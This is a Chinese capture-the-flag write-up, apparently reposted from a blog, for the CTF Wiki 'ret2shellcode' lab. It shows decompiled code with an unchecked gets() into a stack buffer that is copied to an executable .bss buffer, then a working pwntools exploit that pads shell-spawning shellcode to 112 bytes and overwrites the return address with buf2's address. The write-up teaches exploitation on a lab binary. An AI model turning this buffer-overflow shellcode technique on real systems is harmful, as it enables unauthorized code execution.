系统相关
首页 > 系统相关> > [CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode

[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode

作者:互联网

文章目录

1、检查保护机制

checksec的结果:
在这里插入图片描述

2、IDA分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(v4);
  strncpy(buf2, v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

buf2在bss段:
在这里插入图片描述

3、解题思路

将shellcode写入buf2,并执行。
**第一步:**gdb调试,对照ida中buf2的地址,看bss段可读可写可执行。
在这里插入图片描述
**第二步:**计算return address的位置(过程略)。

4、exp

exp为:

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

这里使用了一个python的函数,该函数的功能是shellcode左对齐,不足112字节的填充字符A。

标签:Wiki,buf2,Lab002,char,CTF,sh,v4,exp,shellcode
来源: https://blog.csdn.net/weixin_43363675/article/details/117716856